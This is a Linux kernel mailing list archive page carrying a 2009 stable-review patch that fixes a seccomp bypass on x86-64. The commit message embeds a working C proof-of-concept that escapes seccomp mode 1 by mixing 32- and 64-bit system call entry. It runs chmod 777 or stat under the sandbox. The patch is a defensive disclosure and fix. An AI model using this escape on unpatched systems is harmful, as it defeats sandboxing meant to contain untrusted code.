From: Greg KH <gregkh@suse.de>
To: linux-kernel@vger.kernel.org, stable@kernel.org
Cc: Justin Forbes <jmforbes@linuxtx.org>,
Zwane Mwaikambo <zwane@arm.linux.org.uk>,
"Theodore Ts'o" <tytso@mit.edu>,
Randy Dunlap <rdunlap@xenotime.net>,
Dave Jones <davej@redhat.com>,
Chuck Wolber <chuckw@quantumlinux.com>,
Chris Wedgwood <reviews@ml.cw.f00f.org>,
Michael Krufky <mkrufky@linuxtv.org>,
Chuck Ebbert <cebbert@redhat.com>,
Domenico Andreoli <cavokz@gmail.com>, Willy Tarreau <w@1wt.eu>,
Rodrigo Rubira Branco <rbranco@la.checkpoint.com>,
Jake Edge <jake@lwn.net>, Eugene Teo <eteo@redhat.com>,
torvalds@linux-foundation.org, akpm@linux-foundation.org,
alan@lxorguk.ukuu.org.uk, Roland McGrath <roland@redhat.com>
Subject: [patch 070/114] x86-64: seccomp: fix 32/64 syscall hole
Date: Fri, 13 Mar 2009 18:10:47 -0700 [thread overview]
Message-ID: <20090314011041.753930516@mini.kroah.org> (raw)
In-Reply-To: <20090314011649.GA26170@kroah.com>
[-- Attachment #1: x86-64-seccomp-fix-32-64-syscall-hole.patch --]
[-- Type: text/plain, Size: 5928 bytes --]
2.6.28-stable review patch. If anyone has any objections, please let us know.
------------------
From: Roland McGrath <roland@redhat.com>
commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
---
arch/mips/include/asm/seccomp.h | 1 -
arch/powerpc/include/asm/compat.h | 5 +++++
arch/powerpc/include/asm/seccomp.h | 4 ----
arch/sparc/include/asm/compat.h | 5 +++++
arch/sparc/include/asm/seccomp.h | 6 ------
arch/x86/include/asm/seccomp_32.h | 6 ------
arch/x86/include/asm/seccomp_64.h | 8 --------
kernel/seccomp.c | 7 ++++---
8 files changed, 14 insertions(+), 28 deletions(-)
--- a/arch/mips/include/asm/seccomp.h
+++ b/arch/mips/include/asm/seccomp.h
@@ -1,6 +1,5 @@
#ifndef __ASM_SECCOMP_H
-#include <linux/thread_info.h>
#include <linux/unistd.h>
#define __NR_seccomp_read __NR_read
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -210,5 +210,10 @@ struct compat_shmid64_ds {
compat_ulong_t __unused6;
};
+static inline int is_compat_task(void)
+{
+ return test_thread_flag(TIF_32BIT);
+}
+
#endif /* __KERNEL__ */
#endif /* _ASM_POWERPC_COMPAT_H */
--- a/arch/powerpc/include/asm/seccomp.h
+++ b/arch/powerpc/include/asm/seccomp.h
@@ -1,10 +1,6 @@
#ifndef _ASM_POWERPC_SECCOMP_H
#define _ASM_POWERPC_SECCOMP_H
-#ifdef __KERNEL__
-#include <linux/thread_info.h>
-#endif
-
#include <linux/unistd.h>
#define __NR_seccomp_read __NR_read
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -240,4 +240,9 @@ struct compat_shmid64_ds {
unsigned int __unused2;
};
+static inline int is_compat_task(void)
+{
+ return test_thread_flag(TIF_32BIT);
+}
+
#endif /* _ASM_SPARC64_COMPAT_H */
--- a/arch/sparc/include/asm/seccomp.h
+++ b/arch/sparc/include/asm/seccomp.h
@@ -1,11 +1,5 @@
#ifndef _ASM_SECCOMP_H
-#include <linux/thread_info.h> /* already defines TIF_32BIT */
-
-#ifndef TIF_32BIT
-#error "unexpected TIF_32BIT on sparc64"
-#endif
-
#include <linux/unistd.h>
#define __NR_seccomp_read __NR_read
--- a/arch/x86/include/asm/seccomp_32.h
+++ b/arch/x86/include/asm/seccomp_32.h
@@ -1,12 +1,6 @@
#ifndef _ASM_X86_SECCOMP_32_H
#define _ASM_X86_SECCOMP_32_H
-#include <linux/thread_info.h>
-
-#ifdef TIF_32BIT
-#error "unexpected TIF_32BIT on i386"
-#endif
-
#include <linux/unistd.h>
#define __NR_seccomp_read __NR_read
--- a/arch/x86/include/asm/seccomp_64.h
+++ b/arch/x86/include/asm/seccomp_64.h
@@ -1,14 +1,6 @@
#ifndef _ASM_X86_SECCOMP_64_H
#define _ASM_X86_SECCOMP_64_H
-#include <linux/thread_info.h>
-
-#ifdef TIF_32BIT
-#error "unexpected TIF_32BIT on x86_64"
-#else
-#define TIF_32BIT TIF_IA32
-#endif
-
#include <linux/unistd.h>
#include <asm/ia32_unistd.h>
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -8,6 +8,7 @@
#include <linux/seccomp.h>
#include <linux/sched.h>
+#include <linux/compat.h>
/* #define SECCOMP_DEBUG 1 */
#define NR_SECCOMP_MODES 1
@@ -22,7 +23,7 @@ static int mode1_syscalls[] = {
0, /* null terminated */
};
-#ifdef TIF_32BIT
+#ifdef CONFIG_COMPAT
static int mode1_syscalls_32[] = {
__NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32,
0, /* null terminated */
@@ -37,8 +38,8 @@ void __secure_computing(int this_syscall
switch (mode) {
case 1:
syscall = mode1_syscalls;
-#ifdef TIF_32BIT
- if (test_thread_flag(TIF_32BIT))
+#ifdef CONFIG_COMPAT
+ if (is_compat_task())
syscall = mode1_syscalls_32;
#endif
do {
next prev parent reply other threads:[~2009-03-14 1:45 UTC|newest]
Thread overview: 118+ messages / expand[flat|nested] mbox.gz Atom feed top
[not found] <20090314010937.416083662@mini.kroah.org>
2009-03-14 1:16 ` [patch 000/114] 2.6.28.8-stable review Greg KH
2009-03-14 1:09 ` [patch 001/114] net: amend the fix for SO_BSDCOMPAT gsopt infoleak Greg KH
2009-03-14 1:09 ` [patch 002/114] net: Kill skb_truesize_check(), it only catches false-positives Greg KH
2009-03-14 1:09 ` [patch 003/114] sparc64: Fix crashes in jbusmc_print_dimm() Greg KH
2009-03-14 1:09 ` [patch 004/114] sparc64: Fix DAX handling via userspace access from kernel Greg KH
2009-03-14 1:09 ` [patch 005/114] vfs: separate FMODE_PREAD/FMODE_PWRITE into separate flags Greg KH
2009-03-14 1:09 ` [patch 006/114] seq_file: properly cope with pread Greg KH
2009-03-14 1:09 ` [patch 007/114] vt: Declare PIO_CMAP/GIO_CMAP as compatbile ioctls Greg KH
2009-03-14 1:09 ` [patch 008/114] timerfd: add flags check Greg KH
2009-03-14 1:09 ` [patch 009/114] aoe: ignore vendor extension AoE responses Greg KH
2009-03-14 1:09 ` [patch 010/114] mm: clean up for early_pfn_to_nid() Greg KH
2009-03-14 1:09 ` [patch 011/114] mm: fix memmap init for handling memory hole Greg KH
2009-03-14 1:09 ` [patch 012/114] [CIFS] Fix oops in cifs_strfromUCS_le mounting to servers which do not specify their OS Greg KH
2009-03-14 1:09 ` [patch 013/114] mm: fix lazy vmap purging (use-after-free error) Greg KH
2009-03-14 1:09 ` [patch 014/114] mm: vmap fix overflow Greg KH
2009-03-14 1:09 ` [patch 015/114] PCI quirk: enable MSI on 8132 Greg KH
2009-03-14 1:09 ` [patch 016/114] SCSI: hptiop: Add new PCI device ID Greg KH
2009-03-14 1:09 ` [patch 017/114] JFFS2: fix mount crash caused by removed nodes Greg KH
2009-03-14 1:09 ` [patch 018/114] SCSI: sd: revive sd_index_lock Greg KH
2009-03-14 1:09 ` [patch 019/114] USB: usb_get_string should check the descriptor type Greg KH
2009-03-14 1:09 ` [patch 020/114] USB: usb-storage: add IGNORE_RESIDUE flag for Genesys Logic adapters Greg KH
2009-03-14 1:09 ` [patch 021/114] USB: cdc-acm: add usb id for motomagx phones Greg KH
2009-03-14 1:09 ` [patch 022/114] rtl8187: New USB IDs for RTL8187L Greg KH
2009-03-14 1:10 ` [patch 023/114] WATCHDOG: ks8695_wdt.c: CLOCK_TICK_RATE undeclared Greg KH
2009-03-14 1:10 ` [patch 024/114] WATCHDOG: rc32434_wdt: fix watchdog driver Greg KH
2009-03-14 1:10 ` [patch 025/114] WATCHDOG: rc32434_wdt: fix sections Greg KH
2009-03-14 1:10 ` [patch 026/114] RDMA/nes: Dont allow userspace QPs to use STag zero Greg KH
2009-03-14 1:10 ` [patch 027/114] USB: option: add BenQ 3g modem information Greg KH
2009-03-14 1:10 ` [patch 028/114] USB: EHCI: slow down ITD reuse Greg KH
2009-03-14 1:10 ` [patch 029/114] md: avoid races when stopping resync Greg KH
2009-03-14 1:10 ` [patch 030/114] md/raid10: Dont call bitmap_cond_end_sync when we are doing recovery Greg KH
2009-03-14 1:10 ` [patch 031/114] md/raid10: Dont skip more than 1 bitmap-chunk at a time during recovery Greg KH
2009-03-14 1:10 ` [patch 032/114] sound: virtuoso: revert "do not overwrite EEPROM on Xonar D2/D2X" Greg KH
2009-03-14 1:10 ` [patch 033/114] ALSA: usb-audio - Fix non-continuous rate detection Greg KH
2009-03-14 1:10 ` [patch 034/114] ALSA: usb-audio - Workaround for misdetected sample rate with CM6207 Greg KH
2009-03-14 1:10 ` [patch 035/114] sound: usb-audio: fix uninitialized variable with M-Audio MIDI interfaces Greg KH
2009-03-14 1:10 ` [patch 036/114] ALSA: fix excessive background noise introduced by OSS emulation rate shrink Greg KH
2009-03-14 1:10 ` [patch 037/114] ALSA: hda - Fix digital mic on dell-m4-1 and dell-m4-3 Greg KH
2009-03-14 1:10 ` [patch 038/114] ALSA: hda - add another MacBook Pro 3,1 SSID Greg KH
2009-03-14 1:10 ` [patch 039/114] ALSA: aw2: do not grab every saa7146 based device Greg KH
2009-03-14 1:10 ` [patch 040/114] acer-wmi: fix regression in backlight detection Greg KH
2009-03-14 1:10 ` [patch 041/114] vmalloc: call flush_cache_vunmap() from unmap_kernel_range() Greg KH
2009-03-14 1:10 ` [patch 042/114] Fix fixpoint divide exception in acct_update_integrals Greg KH
2009-03-14 1:10 ` [patch 043/114] 8250: fix boot hang with serial console when using with Serial Over Lan port Greg KH
2009-03-14 1:10 ` [patch 044/114] x86, vmi: TSC going backwards check in vmi clocksource Greg KH
2009-03-14 1:10 ` [patch 045/114] HID: fix bus endianity in file2alias Greg KH
2009-03-14 1:10 ` [patch 046/114] inotify: fix GFP_KERNEL related deadlock Greg KH
2009-03-14 1:10 ` [patch 047/114] sdhci: fix led naming Greg KH
2009-03-14 1:10 ` [patch 048/114] x86: oprofile: dont set counter width from cpuid on Core2 Greg KH
2009-03-14 1:10 ` [patch 049/114] x86: add Dell XPS710 reboot quirk Greg KH
2009-03-14 1:10 ` [patch 050/114] intel-agp: fix a panic with 1M of shared memory, no GTT entries Greg KH
2009-03-14 1:10 ` [patch 051/114] mtd_dataflash: fix probing of AT45DB321C chips Greg KH
2009-03-14 1:10 ` [patch 052/114] proc: fix kflags to uflags copying in /proc/kpageflags Greg KH
2009-03-14 1:10 ` [patch 053/114] fs: new inode i_state corruption fix Greg KH
2009-03-14 1:10 ` [patch 054/114] PCIe: portdrv: call pci_disable_device during remove Greg KH
2009-03-14 1:10 ` [patch 055/114] PCI: Enable PCIe AER only after checking firmware support Greg KH
2009-03-14 1:10 ` [patch 056/114] jsm: additional device support Greg KH
2009-03-14 1:10 ` [patch 057/114] libata: Dont trust current capacity values in identify words 57-58 Greg KH
2009-03-14 1:10 ` [patch 058/114] libata: make sure port is thawed when skipping resets Greg KH
2009-03-14 1:10 ` [patch 059/114] mmc: fix data timeout for SEND_EXT_CSD Greg KH
2009-03-14 1:10 ` [patch 060/114] s3cmci: Fix hangup in do_pio_write() Greg KH
2009-03-14 1:10 ` [patch 061/114] mmc: s3cmci: fix s3c2410_dma_config() arguments Greg KH
2009-03-14 1:10 ` [patch 062/114] MMC: fix bug - SDHC card capacity not correct Greg KH
2009-03-14 1:10 ` [patch 063/114] mmc_test: fix basic read test Greg KH
2009-03-14 1:10 ` [patch 064/114] x86: tone down mtrr_trim_uncached_memory() warning Greg KH
2009-03-14 1:10 ` [patch 065/114] x86-64: fix int $0x80 -ENOSYS return Greg KH
2009-03-14 1:10 ` [patch 066/114] selinux: Fix a panic in selinux_netlbl_inode_permission() Greg KH
2009-03-14 1:10 ` [patch 067/114] selinux: Fix the NetLabel glue code for setsockopt() Greg KH
2009-03-14 1:10 ` [patch 068/114] hpilo: new pci device Greg KH
2009-03-14 1:10 ` [patch 069/114] PCI: dont enable too many HT MSI mappings Greg KH
2009-03-14 7:53 ` Prakash Punnoor
2009-03-17 0:28 ` Greg KH
2009-03-14 1:10 ` Greg KH [this message]
2009-03-14 1:10 ` [patch 071/114] x86-64: syscall-audit: fix 32/64 syscall hole Greg KH
2009-03-14 1:10 ` [patch 072/114] xen: disable interrupts early, as start_kernel expects Greg KH
2009-03-14 1:10 ` [patch 073/114] xen/blkfront: use blk_rq_map_sg to generate ring entries Greg KH
2009-03-14 1:10 ` [patch 074/114] asix: new device ids Greg KH
2009-03-14 1:10 ` [patch 075/114] cdc_ether: add usb id for Ericsson F3507g Greg KH
2009-03-14 1:10 ` [patch 076/114] zaurus: add usb id for motomagx phones Greg KH
2009-03-14 1:10 ` [patch 077/114] fore200: fix oops on failed firmware load Greg KH
2009-03-14 1:10 ` [patch 078/114] PCI: Add PCI quirk to disable L0s ASPM state for 82575 and 82598 Greg KH
2009-03-14 1:10 ` [patch 079/114] copy_process: fix CLONE_PARENT && parent_exec_id interaction Greg KH
2009-03-14 1:10 ` [patch 080/114] proc: fix PG_locked reporting in /proc/kpageflags Greg KH
2009-03-14 1:10 ` [patch 081/114] powerpc: Fix load/store float double alignment handler Greg KH
2009-03-14 1:10 ` [patch 082/114] sdhci: Add quirk for controllers with no end-of-busy IRQ Greg KH
2009-03-14 1:11 ` [patch 083/114] sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip Greg KH
2009-03-14 1:11 ` [patch 084/114] pipe_rdwr_fasync: fix the error handling to prevent the leak/crash Greg KH
2009-03-14 1:11 ` [patch 085/114] DVB: s5h1409: Perform s5h1409 soft reset after tuning Greg KH
2009-03-14 1:11 ` [patch 086/114] V4L: tda8290: fix TDA8290 + TDA18271 initialization Greg KH
2009-03-14 1:11 ` [patch 087/114] V4L: saa7127: fix broken S-Video with saa7129 Greg KH
2009-03-14 1:11 ` [patch 088/114] V4L: ivtv: fix decoder crash regression Greg KH
2009-03-14 1:11 ` [patch 089/114] jbd2: Fix return value of jbd2_journal_start_commit() Greg KH
2009-03-14 1:11 ` [patch 090/114] Revert "ext4: wait on all pending commits in ext4_sync_fs()" Greg KH
2009-03-14 1:11 ` [patch 091/114] jbd2: Avoid possible NULL dereference in jbd2_journal_begin_ordered_truncate() Greg KH
2009-03-14 1:21 ` [Ocfs2-devel] " Greg KH
2009-03-14 1:11 ` [patch 092/114] ext4: Fix to read empty directory blocks correctly in 64k Greg KH
2009-03-14 1:11 ` [patch 093/114] ext4: Fix lockdep warning Greg KH
2009-03-14 1:11 ` [patch 094/114] ext4: Initialize preallocation list_heads properly Greg KH
2009-03-14 1:11 ` [patch 095/114] ext4: Implement range_cyclic in ext4_da_writepages instead of write_cache_pages Greg KH
2009-03-14 1:11 ` [patch 096/114] ext4: Fix NULL dereference in ext4_ext_migrate()s error handling Greg KH
2009-03-14 1:11 ` [patch 097/114] ext4: Add fallback for find_group_flex Greg KH
2009-03-14 1:11 ` [patch 098/114] ext4: Fix deadlock in ext4_write_begin() and ext4_da_write_begin() Greg KH
2009-03-14 1:11 ` [patch 099/114] x86/paravirt: make arch_flush_lazy_mmu/cpu disable preemption Greg KH
2009-03-14 1:11 ` [patch 100/114] x86, hpet: fix for LS21 + HPET = boot hang Greg KH
2009-03-14 1:11 ` [patch 101/114] x86: math_emu info cleanup Greg KH
2009-03-14 1:11 ` [patch 102/114] x86: fix math_emu register frame access Greg KH
2009-03-14 1:11 ` [patch 103/114] ide-iops: fix odd-length ATAPI PIO transfers Greg KH
2009-03-14 1:11 ` [patch 104/114] HID: move tmff and zpff devices from ignore_list to blacklist Greg KH
2009-03-14 1:11 ` [patch 105/114] ARM: Add i2c_board_info for RiscPC PCF8583 Greg KH
2009-03-14 1:11 ` [patch 106/114] i2c: Timeouts reach -1 Greg KH
2009-03-14 1:11 ` [patch 107/114] i2c: Fix misplaced parentheses Greg KH
2009-03-14 1:11 ` [patch 108/114] ACPI: fix broken usage of name.ascii Greg KH
2009-03-14 1:11 ` [patch 109/114] ACPI: fix broken usage of acpi_ut_get_node_name() Greg KH
2009-03-14 1:11 ` [patch 110/114] crypto: api - Fix algorithm test race that broke aead initialisation Greg KH
2009-03-14 1:11 ` [patch 111/114] hwmon: (f71882fg) Hide misleading error message Greg KH
2009-03-14 1:11 ` [patch 112/114] drm/i915: Add missing userland definitions for gem init/execbuffer Greg KH
2009-03-14 1:11 ` [patch 113/114] MIPS: compat: Implement is_compat_task Greg KH
2009-03-14 1:11 ` [patch 114/114] hwmon: (it87) Properly decode -128 degrees C temperature Greg KH
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20090314011041.753930516@mini.kroah.org \
--to=gregkh@suse.de \
--cc=akpm@linux-foundation.org \
--cc=alan@lxorguk.ukuu.org.uk \
--cc=cavokz@gmail.com \
--cc=cebbert@redhat.com \
--cc=chuckw@quantumlinux.com \
--cc=davej@redhat.com \
--cc=eteo@redhat.com \
--cc=jake@lwn.net \
--cc=jmforbes@linuxtx.org \
--cc=linux-kernel@vger.kernel.org \
--cc=mkrufky@linuxtv.org \
--cc=rbranco@la.checkpoint.com \
--cc=rdunlap@xenotime.net \
--cc=reviews@ml.cw.f00f.org \
--cc=roland@redhat.com \
--cc=stable@kernel.org \
--cc=torvalds@linux-foundation.org \
--cc=tytso@mit.edu \
--cc=w@1wt.eu \
--cc=zwane@arm.linux.org.uk \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.